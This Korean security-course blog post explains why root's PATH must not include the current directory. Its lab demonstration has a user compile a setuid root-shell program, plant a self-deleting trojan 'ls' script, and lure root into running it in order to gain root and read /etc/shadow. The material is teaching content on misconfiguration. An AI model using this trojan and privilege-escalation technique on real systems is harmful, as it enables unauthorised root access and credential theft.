관리자의 잘못된 PATH 변수 설정
(주의) 관리자(EX:root)의 PATH 변수 설정은 현재 디렉토리가 포함되어 있으면 안된다.
■ 관리자의 잘못된 PATH 변수 설정 예
PATH=.:/bin:/usr/bin:/usr/sbin
PATH=/bin:/usr/bin:/usr/sbin:.
PATH=:/bin:/usr/bin:/usr/sbin
PATH=/bin:/usr/bin:/usr/sbin:
PATH=/bin::/usr/bin:/usr/sbin
변수설정의 순서도 중요하다 순서대로 검색하고 대상을 찾으면 멈춘다.
PATH 변수에 대해서
- 명령어가 있는 디렉토리를 선언할 때 사용하는 변수
# ls
(절대경로) # /bin/ls
(상대경로) # cd /bin
# ./ls
cd /test
export PATH=$PATH:/test
echo $PATH
(root 사용자)
[TERM1] root 사용자의 윈도우
# unalias ls
#
# useradd hacker
# passwd hacker (# echo hacker | passwd --stdin hacker)
Changing password for user hacker.
New UNIX password: (hacker)
BAD PASSWORD: it is based on a dictionary word
Retype new UNIX password: (hacker)
passwd: all authentication tokens updated successfully.
# export PATH=.:$PATH <-- . 으로 현재폴더를 검색하게 된다.
# echo $PATH
.:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
(Hacker 사용자)
[TERM2] hacker 사용자의 윈도우
# telnet localhost
hacker 사용자로 로그인
$ id
uid=503(hacker) gid=503(hacker) groups=503(hacker)
$ pwd
/home/hacker
$ vi /tmp/.hacker.c
#include<stdio.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
$ gcc -o /tmp/.hacker /tmp/.hacker.c
$ ls -l /tmp/.hacker
-rwxrwxr-x 1 hacker hacker 5149 Sep 16 13:13 /tmp/.hacker
$ cd
$ vi ls
#!/bin/bash
chown root /tmp/.hacker
chmod u+s /tmp/.hacker
rm -f $0
rm -f /tmp/.hacker.c
/bin/ls $*
$ chmod 755 ls
$
$ cat > -i
Your System Hacking!!!!!
<CTRL + D>
$ ls
-i ls
=====> 관리자 Call (도움 요청 내용: '-i' 파일을 지울수 없다.)
(root 사용자)
[TERM1] root 사용자의 윈도우
# cd ~hacker (# cd /home/hacker)
# ls
-> ① PATH 변수 참조
-> ② 현재디렉토리 검색
-> ③ 현재디렉토리 밑에 있는 ls 명령어 수행
# rm -i
# rm \-i
# rm '-i'
# rm "-i"
[참고] # find . -inum 450 -type f -exec rm -f {} \;
ls -li
(Hacker 사용자)
[TERM2] hacker 사용자의 윈도우
$ ls -l /tmp/.hacker
-rwsrwxr-x 1 root hacker 5149 Sep 16 09:23 /tmp/.hacker
$ /tmp/.hacker
$ id -a
uid=0(root) gid=0(root) groups=503(hacker)
$ cat /etc/shadow
-> 정상적으로 내용이 보인다.
$ exit
#
'Learning > └◆리눅스 서버 보안' 카테고리의 다른 글
01_리눅스 보안 점검_ 자동_스크립트 (0) | 2017.03.14 |
---|---|
01_사용자/그룹이 없는 파일에 대해서 (0) | 2017.02.20 |
01_HISTTIMEFORMAT 변수(관리자 정책_사용자 환경파일 관리) (0) | 2017.02.20 |
01_TMOUT 변수 설정 (0) | 2017.02.20 |